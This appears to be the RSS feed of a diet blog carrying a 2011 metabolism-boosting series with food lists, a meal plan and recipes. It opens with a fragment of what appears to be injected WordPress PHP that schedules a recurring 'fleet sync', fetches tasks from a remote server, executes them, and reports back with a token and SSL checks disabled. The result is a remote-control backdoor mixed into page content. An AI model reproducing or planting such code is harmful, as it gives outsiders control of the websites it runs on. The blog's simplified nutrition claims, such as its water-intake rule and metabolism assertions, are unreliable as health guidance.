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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); metabolism boost – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 13 Jul 2011 01:10:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp metabolism boost – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 20 foods in 1 Metabolic Boosting Day https://skinnygeneprojectnew.dreamsites.io/20-foods-in-1-metabolic-boosting-day/ https://skinnygeneprojectnew.dreamsites.io/20-foods-in-1-metabolic-boosting-day/#respond Wed, 13 Jul 2011 01:10:14 +0000 http://skinnygeneproject.dreamhosters.com/?p=1289 For the last several weeks, we’ve been sharing our favorite everyday foods that can boost your metabolism. (Click here to see the original BOOST YOUR METABOLISM article).  Now we want to show you how you can put it all together for 1 metabolic boosting day!

The top 20 foods (below) can easily be included in your everyday metabolism maximizing meals!  Here is a sample day!  Let us know how you are incorporating these mega metabolism foods in your day!

OUR TOP 20 METABOLISM BOOSTING FOODS

1. Cocoa

2. Water

3. Blueberries/Berries

4. Flax

5. Sweet Potato

6. Avocado

7. Tomato

8.  Yogurt

9. Cinnamon

10.  Garlic

11. Beans

12. Almonds

13. Apples

14. Egg whites/beaters

15. Soybean

16. Lemon

17. Ginger

18. Brussel sprouts

19. Spinach

20. Olive oil

MEAL PLAN ( 1-day)

Breakfast:

Oatmeal with cinnamon and  cocoa

Egg sub with spinach, tomatoes, onions, and beans, wrapped in high fiber tortilla

Snack:

Fat free/sugar free Vanilla Yogurt w/ 1 Tablespoon Flaxseed, ½ cup blueberries

Apple

Lunch:

Spinach salad with avocado, orange, tomato, squeeze of lemon and olive oil vinagrette

Snack:

almonds

edamame

Dinner:

Ginger soy salmon

Sweet potatoes

Garlic brussel sprouts

All-day:  Water!!!!!!  Divide your weight by 2 to give you an estimate of how much water you need!

]]> https://skinnygeneprojectnew.dreamsites.io/20-foods-in-1-metabolic-boosting-day/feed/ 0 Boost Your Metabolism- Garlic https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-garlic/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-garlic/#respond Mon, 27 Jun 2011 22:04:57 +0000 http://skinnygeneproject.dreamhosters.com/?p=1280 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM. This is the 10th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM

The secret to boosting your metabolism is FEEDING your body what it needs.

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The tenth and FINAL food  in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is GARLIC!

BENEFITS OF GARLIC    

 

Photo by Mullica

 

 Garlic, which is sometimes referred to as the “stinking rose”, may have you reaching for a slice of gum, but that is not all garlic does for you!  There are some unbelievable metabolism boosting health benefits packed in those tiny cloves.

Although our breath may not love garlic, our hearts certainly do!  Garlic helps regulate our blood pressure, keeps our arteries free of plaque, lowers cholesterol and triglycerides, and lowers our risk of heart attack.  When our heart is healthy, our body’s metabolism will function at a better rate.

A few research studies have found a relationship with daily garlic intake and the improvement in insulin sensitivity, which lowers your risk of diabetes and helps with weight loss.  Garlic also has antioxidant properties which help fight the bad free radicals that try to slow our metabolism as well.

Garlic should be a part of our diet everyday!  Here are great recipes to try!

For a health bonus, allow your cut garlic to sit for 5 minutes prior to cooking or mixing with ingredients.  The 5 minutes is worth the wait!

RECIPES

 

  Submitted By: Danni

Prep Time: 5 MinutesCook Time: 10 Minutes Ready In: 15 MinutesServings: 4

“Thinly sliced garlic is a simple way to jazz up plain old spinach. With just a touch of butter and a quick stir, you’ll have a vegetable side dish that tastes great and pairs with just about anything!”

Ingredients:

1 tablespoon unsalted butter6 cloves garlic, thinly sliced2 (10 ounce) bags fresh spinach 1 teaspoon garlic salt1/2 lemon, juiced

 

Directions:

1. Heat the butter in a skillet over medium heat. Stir in the garlic; cook and stir until the garlic is fragrant, about 2 minutes. Add the spinach a few handfuls at a time, stirring until wilted before adding more, about 5 minutes. Stir in the lemon juice, and season with garlic salt.

Lemon Garlic Salmon:

http://www.garlicrecipes.org/lemon-garlic-salmon.html

2 tablespoons of butter.
2 teaspoons of garlic, minced.
1 teaspoons of lemon pepper.
2 six-ounce salmon fillets.
Lemon juice.

Instructions:

Melt the 2 tablespoons of butter in a suitably-sized skillet over medium-high heat.

Stir in the 2 teaspoons of minced garlic.

Season the fillets of salmon on both sides with the lemon pepper.

Place the fillets in a pan and cook until it flakes when tested with a fork. Make certain to flip the fillets midway through cooking to brown on each side.

Sprinkle with lemon juice.

Serve.

   

Garlic Kale

“A delicious, garlicky way to cook the underused, antioxidant rich kale!”

Ingredients:

1 bunch kale2 tablespoons olive oil 4 cloves garlic, minced

 

Directions:

1. Tear the kale leaves into bite-size pieces from the thick stems; discard the stems.
2. Heat the olive oil in a large pot over medium heat. Cook and stir the garlic in the hot oil until softened, about 2 minutes. Add the kale and continue cooking and stirring until the kale is bright green and wilted, about 5 minutes more
]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-garlic/feed/ 0 Boost Your Metabolism- Cinnamon https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-cinnamon/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-cinnamon/#respond Mon, 27 Jun 2011 21:29:05 +0000 http://skinnygeneproject.dreamhosters.com/?p=1277 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM. This is the 9th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM

The secret to boosting your metabolism is FEEDING your body what it needs.

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The ninth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is CINNAMON!

BENEFITS OF CINNAMON

Usually the foods that maximize your metabolism are rich colorful foods loaded with amazing health properties, but don’t let the fine, ground, brown cinnamon powder fool you. Just ¼ to 1 teaspoon of cinnamon a day can drastically improve your glucose metabolism, meaning it helps the body use insulin efficiently.

Cinnamon does this by taking the glucose (sugar) out of the blood and brings it into the cell where it is burned as energy.  By eating cinnamon daily, you can keep your blood sugar at a more stable level, reducing your risk for diabetes.  Don’t forget a stable blood sugar can also stabilize your appetite!

An added bonus – Cinnamon also has been found to reduce your blood lipids, including cholesterol and triglycerides. 

Cinnamon has high concentrations of a polyphenol called methylhydroxy chalcone polymer (MHCP). MHCP has disease prevention properties and can reduce your risk of insulin resistance, type 2 diabetes, and heart disease. 

Making an effort to add cinnamon to your daily routine is a smart choice! 

Try adding cinnamon to milk, yogurt, oatmeal, cereal, fruits, or other beverages.  Here are a few ideas to start your day off with a little spice!

RECIPES

Peanut Banana Cinnamon Smoothie

http://herbsspices.about.com/od/smoothies/r/PBCinnamon.htm

Cinnamon spices up this banana and peanut butter smoothie. Tip: try freezing the banana chunks in advance for a frostier smoothie. 

Makes 1 medium (about 12 ounce) or 2 small (about 6-ounce) smoothies.

Prep Time: 5 minutes

Total Time: 5 minutes

Ingredients:

·         1 cup vanilla soy milk or skim milk

·         1 large banana, peeled and cut into chunks

·         2 tablespoons peanut butter (preferably natural)

·         1/2 teaspoon cinnamon, plus more for sprinkling

·         1 teaspoon honey or turbinado sugar (optional)

·         3 ice cubes

Preparation:

Place the milk, banana, peanut butter, cinnamon, and honey (if using) into a blender, and puree until smooth.

Add the ice cubes and pulse just until the ice is crushed.

Pour into a glass, sprinkle with additional cinnamon, and enjoy!

 

Apple Cinnamon Smoothie 

http://www.healthy-recipes-for-kids.com/apple-cinnamon-smoothie.html

Hint:It is really easy if you prepare the apples the night before.

Ingredients:

1 cup of milk
1 cup vanilla yogurt
1 small apple
1/2 teaspoon ground cinnamon

handful of ice cubes

Preparation:

Wash and peel apple.
Cut up into cubes and take out the seeds.
Add ingredients and blend for one minute.

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-cinnamon/feed/ 0 Boost Your Metabolism Series- Yogurt https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-yogurt/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-yogurt/#respond Mon, 13 Jun 2011 19:55:20 +0000 http://skinnygeneproject.dreamhosters.com/?p=1264 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM. This is the 8th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM

The secret to boosting your metabolism is FEEDING your body what it needs.

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The eighth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is YOGURT!

BENEFITS OF YOGURT

 
 

Photo by Ashles

Yogurt is one of the few animal products that makes the list of super foods to boost your metabolism. The creamy consistency, not only tastes delicious, but provides your body with some unbelievable benefits.  Yogurt contains probiotics – the good bacteria (naturally present in yogurt) that helps with the digestion of food, absorption of nutrients, and keeps your gut healthy. 

Fat burning bonus:  Researchers have found that increasing your intake of dairy improves your metabolism of fat, which helps trim your waist line. 

Yogurt is a good source of Calcium and Vitamin D, and it contains important micronutrients required for functioning of your heart, muscles (calorie burners), nerve functioning, blood clotting, and bone health.

There are so many delicious ways to enjoy the benefits of yogurt. Pineapple upside down cake, raspberry cheesecake, apple turnover, Boston cream pie, and red velvet cake are some of the fun flavored choices of Light Yoplait yogurt.  

That leads us to one more wonderful benefit of yogurt- it is low in calories. With only 60-110 calories per serving, yogurt is a great choice as a snack or dessert.  You can keep yogurt interesting by pairing vanilla yogurt with fresh fruits, especially berries or blend together for a smoothie.

Yogurt can also be a nice substitution to lower fat when baking.  Here are some tips from Taste of Home (http://www.tasteofhome.com/Healthy/Recipe-Makeovers/Baking-Techniques/Yogurt-for-Lower-Fat-Baking­)

  • When a recipe calls for butter, replace half the butter with half as much yogurt. For instance, instead of 1 cup butter, use 1/2 cup butter and 1/4 cup yogurt.
  • When a recipe calls for shortening or oil, replace half the oil with 3/4 the amount of yogurt. For example, instead of 1 cup oil, use 1/2 cup oil and 1/4 cup plus 2 tablespoons yogurt.
  • Substitute yogurt cup for cup for sour cream in recipes.
  • Yogurt can even replace some of the water or milk in a recipe. Start by substituting 1/4 of the liquid with yogurt. The result will be creamier and more flavorful.

RECIPES

Granola-Whole Wheat Waffles with Double-Berry Sauce
http://www.yoplait.com/recipe/granola-whole-wheat-waffles-with-double-berry-sauce?print=true 
 Are you a weekend breakfast chef? Serve wheaty granola waffles in your home restaurant.

 

Prep Time:25 min
Start to Finish:25 min
Makes:24 (4-inch) waffles

Ingredients

Sauce
2/3 cup maple-flavored syrup
2/3 cup raspberry jam or preserves
1 cup strawberries, cut into fourths
Waffles
1 1/2 cups Original Bisquick® mix
1/2 cup granola cereal
1/2 cup Gold Medal® whole wheat flour
1 1/2 cups milk
3 tablespoons vegetable oil
2 eggs
1 container (6 oz) Yoplait® Original strawberry yogurt (2/3 cup)

Directions

1. In 1 1/2-quart saucepan, heat syrup and jam to boiling, stirring occasionally. Stir in strawberries; remove from heat and keep warm.
2. Heat waffle iron; grease with shortening if necessary (or spray with cooking spray before heating).
3. In medium bowl, stir all waffle ingredients until blended. Pour batter by 2/3 cupfuls onto center of hot waffle iron; close lid.
4. Bake 2 to 3 minutes or until steaming stops and waffle is golden brown. Carefully remove waffle. Serve with sauce.
High Altitude (3500-6500 ft): Bake about 4 minutes.

 

Strawberry Smoothie
http://www.yoplait.com/recipe/strawberry-smoothieTropical yogurt and fresh fruit mix it up in this terrific blender drink.

 

Prep Time:10 min
Start to Finish:10 min
Makes:1 serving

Ingredients

1 container(6 oz) Yoplait® Original 99% Fat Free strawberry, strawberry kiwi or strawberry mango yogurt
1/2 cup sliced fresh or frozen strawberries
1/2 cup orange or pineapple juice
  Pineapple chunks, strawberries or kiwifruit slices, if desired

Directions

 1. In blender, place yogurt, strawberries and juice. Cover; blend on medium speed about 2 minutes or until smooth.
2. Pour into serving glass. Garnish with pineapple. Serve immediately.

 

Caramel Apple Yogurt Parfaits
Enjoy this delicious parfait layered with Yoplait® 99% Fat Free yogurt, apples and caramel topping that is ready in 10 minutes – perfect for a dessert.

 

Prep Time:10 min
Start to Finish:10 min
Makes:4 servings

Ingredients

2 cups Yoplait® 99% Fat Free creamy vanilla yogurt or Yoplait® Fat Free plain yogurt (from 2-lb container)
2 medium unpeeled apples or pears, cut into chunks (2 cups)
1/4 cup caramel fat-free topping
2 tablespoons coarsely chopped pecans or walnuts

 

Directions

1. Reserve 1/4 cup yogurt for topping. Divide remaining yogurt among 4 (8-oz) glasses or dessert dishes. Spoon 1/2 cup of the apple chunks over yogurt in each glass.
2. Top each with 1 tablespoon of the remaining yogurt. Spoon 1 tablespoon caramel topping over yogurt. Sprinkle pecans over each parfait. Serve immediately.

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-yogurt/feed/ 0 Boost Your Metabolism Series- Tomato https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/#respond Mon, 06 Jun 2011 20:22:23 +0000 http://skinnygeneproject.dreamhosters.com/?p=1257 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 7th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The seventh one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is TOMATO!

BENEFITS OF TOMATO

Photo by Maplessinseattle

The debate may go on whether the tasty tomato is a fruit or a vegetable, but one thing is for sure, the tomato is a super food for your body’s metabolism.  Tomatoes are naturally low in calories and high in fiber, both good for satisfying your appetite and maintaining a healthy weight. 

Tomatoes are rich in antioxidants that fight the bad free radicals that are unfortunately present during nutrient metabolism or from the environment (such as pollution and UV rays).  The good news is that a good intake of antioxidant rich fruits and vegetables, including high amounts of tomatoes,  counteract these free radicals. 

The antioxidant most prevalent  in the tomato is lycopene, which is found in large quantities in the outer skin of the tomato, but also found inside too.  Research has found that intake of these antioxidants help protect your body’s cells from damage and decrease risk of heart disease and cancer, especially prostate cancer in men.

Caution: Watch the calories when adding tomato sauce to spaghetti.The calories  in a plate full of pasta can quickly add up. 

Other tomato-based foods that can be dangerous are jars of salsa, cans of diced tomatoes, tomato juice, and tomato soup – all are loaded with sodium.  Be sure to read the labels of these tomatoes for “no added salt” or “low sodium”. 

Incorporating tomatoes into your everyday routine is essential to optimize your metabolism and your health.  Here are a few ideas and recipes to try.

Add tomatoes to all of your meals!

  • Add a slice on every sandwich and in your wrap
  • Top your salad with baby tomatoes, diced tomatoes, or wedges
  • Add chopped tomatoes to eggs and omelets
  • Tomatoes are a nice addition to cottage cheese
  • Add to pizzas, pastas, stir-fry, and kebabs 

 RECIPES

Baked Parmesan Tomatoes

http://www.eatingwell.com/recipes/baked_parmesan_tomatoes.html

From EatingWell:  August/September 2006

A sprinkle of Parmesan and a drizzle of olive oil transform tomatoes into the perfect side dish. Or try sandwiching them between slices of your favorite whole-wheat country bread.

4 servings | Active Time: 5 minutes | Total Time: 20 minutes

Ingredients

  • 4 tomatoes, halved horizontally
  • 1/4 cup freshly grated Parmesan cheese
  • 1 teaspoon chopped fresh oregano
  • 1/4 teaspoon salt
  • Freshly ground pepper, to taste
  • 4 teaspoons extra-virgin olive oil

Preparation

  1. Preheat oven to 450° F.
  2. Place tomatoes cut-side up on a baking sheet. Top with Parmesan, oregano, salt and pepper. Drizzle with oil and bake until the tomatoes are tender, about 15 minutes.

Nutrition

Per serving : 91 Calories; 6 g Fat; 2 g Sat; 4 g Mono; 4 mg Cholesterol; 6 g Carbohydrates; 3 g Protein; 2 g Fiber; 375 mg Sodium; 363 mg Potassium

Caprese Salad

http://www.eatingwell.com/recipes/caprese_salad.html

From EatingWell:  July/August 2008

Summer-ripe tomatoes and fresh mozzarella need only a sprinkling of fresh herbs, salt and pepper to shine in this simple summer salad.

4 servings, about 1 1/4 cups each | Active Time: 15 minutes | Total Time: 15 minutes

Ingredients

  • 2 medium red tomatoes, cut into wedges
  • 2 medium yellow tomatoes, cut into wedges
  • 3/4 cup diced fresh mozzarella cheese
  • 1/4 cup chopped fresh parsley
  • 2 tablespoons chopped fresh basil
  • 1/4 teaspoon salt
  • Freshly ground pepper, to taste

Preparation

  1. Gently toss tomatoes, mozzarella, parsley, basil and salt together in a large bowl. Season with pepper.

Nutrition

Per serving : 88 Calories; 5 g Fat; 3 g Sat; 0 g Mono; 17 mg Cholesterol; 6 g Carbohydrates; 5 g Protein; 2 g Fiber; 187 mg Sodium; 444 mg Potassium 

Halibut with tomato basil salsa

By Mayo Clinic staff

Dietitian’s tip: Halibut — in addition to cod, flounder and perch — is a lean fish, having less than 2.5 percent fat by weight. For a variation to this recipe, grill the halibut and spoon the tomato basil salsa over each fillet to serve.

By Mayo Clinic staff

Serves 4

Ingredients

2 tomatoes, diced
2 tablespoons fresh basil, chopped
1 teaspoon fresh oregano, chopped
1 tablespoon minced garlic
2 teaspoons extra-virgin olive oil
4 halibut fillets, each 4 ounces

Directions

Preheat the oven to 350 F. Lightly coat a 9-by-13-inch baking pan with cooking spray.

In a small bowl, combine the tomato, basil, oregano and garlic. Add the olive oil and mix well.

Arrange the halibut fillets in the baking pan. Spoon the tomato mixture over the fish. Place in the oven and bake until the fish is opaque throughout when tested with the tip of a knife, about 10 to 15 minutes.

Transfer to individual plates and serve immediately.

Nutritional Analysis

(per serving)

Serving size: 1 fillet
Calories 160 Cholesterol 36 mg
Protein 24 g Sodium 65 mg
Carbohydrate 3 g Fiber 1 g
Total fat 5 g Potassium 672 mg
Saturated fat 1 g Calcium 66 mg
Monounsaturated fat 3 g    

 

Avocado Bruschetta

http://www.myrecipes.com/recipe/avocado-bruschetta-10000001021247/

Photo by: Howard L. Puckett

  • YIELD: Makes 3 dozen
  • COURSE: Appetizers, Hors d’Oeuvres

Ingredients

  • 2 avocados, cubed
  • 2 plum tomatoes, seeded and diced
  • 2 green onions, chopped
  • 2 tablespoons fresh lime juice
  • 1 tablespoon white wine vinegar
  • 1 tablespoon olive oil
  • 2 teaspoons hot sauce
  • 1/2 teaspoon garlic powder
  • 1/4 teaspoon ground white pepper
  • 1/2 teaspoon salt
  • 3 tablespoons olive oil
  • 1 garlic clove, minced
  • 1/2 teaspoon salt
  • 36 French baguette slices
  • 1/4 cup fresh cilantro, chopped

Preparation

Combine first 10 ingredients in a bowl; toss gently to combine. Cover and chill 2 hours.

Combine 3 tablespoons olive oil, garlic, and salt. Place bread slices on a baking sheet, and brush evenly with olive oil mixture. Bake at 350° for 12 minutes or until toasted; cool.

Top each toast evenly with avocado mixture. Sprinkle with cilantro before serving.

Coastal Living JANUARY 2005

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/feed/ 0 Boost Your Metabolism Series- Avocado https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-avocado/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-avocado/#respond Fri, 27 May 2011 23:48:50 +0000 http://skinnygeneproject.dreamhosters.com/?p=1248 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 6th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The sixth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is AVOCADO!

BENEFITS OF AVOCADO

Photo by Ingserban

Avocadoes are a super food that has received a bad reputation of being extremely high in fat.  When in actuality, it’s the fat that makes the avocado so super!  

Fat is an essential component of our diet.  Whether you are on a lower fat diet (20% of your calories come from fat) or a heart healthy diet (30% calories of your calories come from fat), remember it is the type of fat that will ultimately make a difference on your health and your waistline.

The fat in avocado is mostly the good fats – essential, polyunsaturated and monounsaturated.  These good fats have been found to lower the bad cholesterol and increase the good cholesterol, which is important for everyone, especially those with diabetes or are overweight and at risk for heart disease. 

One word of caution is the nutrient density of this super food.  One avocado should be divided into 5 – 1 oz servings- providing 50 calories, 3.5 grams unsaturated fat, total fat of 4.5 grams.  With one avocado totaling 250 calories, you can see a bowl of guacamole (and the fried chips) can provide 500-1000 calories and 50-75 grams of fat pretty quickly. 

Hopefully this does not scare you away from eating avocadoes.  Research has found that people who include avocadoes regularly in their diet actually weigh less than those who avoid avocadoes.  Between being a healthy fat, low carbohydrate, and good source of fiber, avocados are a win, win situation.

Avocadoes are not just for guacamole. Try adding avocado to salads, deli sandwiches or wraps, cottage cheese, soups, rice and beans, tacos, ceviche, salsa, pasta salad, tostado, hamburger, baked potato, and whatever else you can come up with!

Here are some great recipes to try from the California Avocado Commision. Enjoy!

RECIPES

DEVILED EGGS WITH CALIFORNIA AVOCADO

Recipe Provided By the California Avocado Commission

Deviled eggs with California Avocado filling.

Preparation: 0 min
Cook Time: 0 min
Total Time: 0 min
Serves: 24

Ingredients

  • 12 eggs
  • ½ cup mayonnaise
  • 4 tsp. prepared mustard
  • ½ tsp. salt
  • ¼ tsp. pepper
  • ½ medium onion, finely diced
  • 1 stalk celery, finely diced
  • 1 ripe, Fresh California Avocado

Instructions

  1. Hard boil and cool eggs. Remove shells, slice in half and remove yolk. Set aside white to be filled.
  2. Sauté onions and celery until tender. Place sautéed onions and celery into food processor (or blender) and puree. Add yolks, mayo, mustard, salt, pepper and avocado and blend well.
  3. Fill egg whites and sprinkle with paprika (if desired).

*Large avocados are recommended for this recipe. A large avocado averages about 8 ounces. If using smaller or larger size avocados adjust the quantity accordingly.

AVOCADO-CILANTRO BAGEL SPREAD

Recipe Provided By the California Avocado Commission

Preparation: 0 min
Cook Time: 0 min
Total Time: 0 min
Serves: 8

Ingredients

  • 1 ripe Fresh California Avocado
  • 1 oz. goat cheese
  • ¼ tsp. onion powder
  •  ½ Tbsp. chopped cilantro
  • ⅛ tsp. black pepper
  •  dash of cayenne pepper
  • ⅛ tsp. salt
  • 1Tbsp. fresh squeezed lime juice

Instructions

  1. Combine avocado with goat cheese and mix until well blended.
  2. Add remaining ingredients and mix well.
  3. Adjust salt to taste.
  4. Let stand for 1 hour at room temperature to let flavors blend. Serve.
  5. Garnish with fresh lime slices and a sprig of cilantro.

*Large avocados are recommended for this recipe. A large avocado averages about 8 ounces. If using smaller or larger size avocados adjust the quantity accordingly.

Nutrition information per serving

Nutrients per Serving: calories 45; protein 1g; carbohydrates 2g; total fat 3.5g; cholesterol 0mg; fiber 2g; sodium 50mg

Photo by Ingserban
Photo by Ingserban
]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-avocado/feed/ 0 Boost Your Metabolism Series- Sweet Potato https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-sweet-potato/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-sweet-potato/#respond Fri, 20 May 2011 22:09:59 +0000 http://skinnygeneproject.dreamhosters.com/?p=1237 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 5th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The fifth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is SWEET POTATO!

BENEFITS OF  SWEET POTATO

Photo by Sweet Mustache

You say potato, I say po-tat-to!  No matter how you say it, be sure you add the sweetness.  

The sweet potato could not be more misleading for those of us wanting to control our blood sugar.   When compared to the ordinary white potato, the sweet potato is lower in carbohydrates and calories.

 The calories you save will keep your body on target for a healthy weight, while providing a powerful punch of antioxidants that are associated with disease prevention.

 

The sweet truth about how sweet potatoes can help boost your metabolism

The lower carbohydrate content and the bonus fiber  content keeps your blood sugar stable, while satisfying your appetite on less calories. The combination of these two factors (low calorie and added fiber) helps keep your body at a healthy weight and you metabolism functioning at its best.

How to get the added benefits without adding the extra calories

 The rich orange sweet potato is a great addition to any meal: baked, mashed, boiled, and flavored sweet or spicy.   But there are a few dangerously high calorie and high fat sweet potato dishes to be aware of, including the sweet potato casserole and sweet potato fries found in many restaurants. To enjoy the slimming benefits of eating a sweet potato, try making sweet potato fries at home.

Making homemade sweet potato fries can be quite simple, slice up the sweet potato in coins or wedges, spray baking sheet with Pam cooking spray and bake or broil until desired browning, season with onion, garlic, or your favorite seasoning.  Ready in about 10 minutes without any added fat.

Get an added fiber bonus by eating the skin of your potato! 

TRY THESE SWEET POTATO RECIPES

Pork Chops with Sweet Potatoes

Modified from original recipe ——- 12  best foods cookbook, Dana Jacobi 

Changes made:  substituted nonfat yogurt and skim milk in place of ½ and ½ and butter, instructed to leave skins on both sweet potatoes and apple for increased fiber, made own bread crumbs from a whole grain bread to lower GI and increase fiber. 

Ingredients:

3 medium sweet potatoes

2 Tablespoon plain nonfat yogurt

½ teaspoon Thai red chile paste

2 Tablespoons skim milk

Salt and Pepper

1 small red onion, finely chopped

½ Golden Delicious apple, finely chopped

2 slices whole grain bread, toasted and crumbled to breadcrumbs

4 (1 ½ inch thick) lean boneless center cut pork chops (5-6 oz each)

1 teaspoon paprika

¼ teaspoon onion powder

  1. Preheat the oven to 400 degrees.  Roast the sweet potatoes for approximately 30 minutes or until soft.  Mashed potatoes.  There should be 3 cups.  Reduce the oven temperature to 350 degrees. 
  2. For the gravy, in a bowl combine 2 1/3 cups of the sweet potatoes with the yogurt, chile paste and skim milk.  Season to taste with salt and pepper.  Spread the creamy potatoes to cover the bottom of an 8 inch square baking dish.  Set aside.
  3. For the stuffing, in a second bowl, combine the remaining sweet potato within the onion, apple, and breadcrumbs.  Season to taste with salt and pepper.
  4. Make a 3 ½ x 2 ½  inch pocket in each pork chop.  Pack the stuffing generously into the pockets.  Combine the paprika, ¼ teaspoon salt, and onion powder in a small bowl.  Rub 1 side of each chop with this mixture and set them seasoned side down on top of the sweet potatoes in the baking dish.  Rub the remaining seasoning on top of each chop.  Cover the pan with foil. 
  5. Bake for 35 minutes.  Uncover and bake the dish for 10 minutes longer, until they are nicely browned on top. 

 

Makes 4 servings

Calories:  354

Carbohydrates:  31.3 grams

Fiber:  5 grams

Protein:  41 grams

Fat:  8 grams

Sat Fat:  2.65 gram

Ranking:  Skinny Gene Level 2

Sweet Potato Soup

12  best foods cookbook, Dana Jacobi 

Ingredients:

2 large sweet potatoes, chopped

1 small bag of baby carrots (1/2 pound)

2 medium fuji apples, chopped

1 onion, chopped

1 T Canola oil

3 C fat free, reduced sodium chicken broth

cooking spray

Instructions:

  1. Chop sweet potatoes, carrots, and apples into 2-3 inch pieces and place a single layer on a baking sheet.  Coat ingredients with cooking spray and allow to roast in oven at 400 degrees Fahrenheit for ~ 30 minutes.
  2. In a large pot, heat oil over medium heat and sauté onions until golden brown.  Then add roasted sweet potato, apple, carrots and chicken broth.  Bring to a boil, then reduce heat to a simmer for 20 minutes. 
  3. Puree the soup in a blender.

 

Makes 4 servings

Calories:  269

Carbohydrates:  48 grams

Fiber:  8 grams

Protein:  5 grams

Fat:  7 grams

Sat Fat:  2 gram

Ranking:  Skinny Gene Level 2

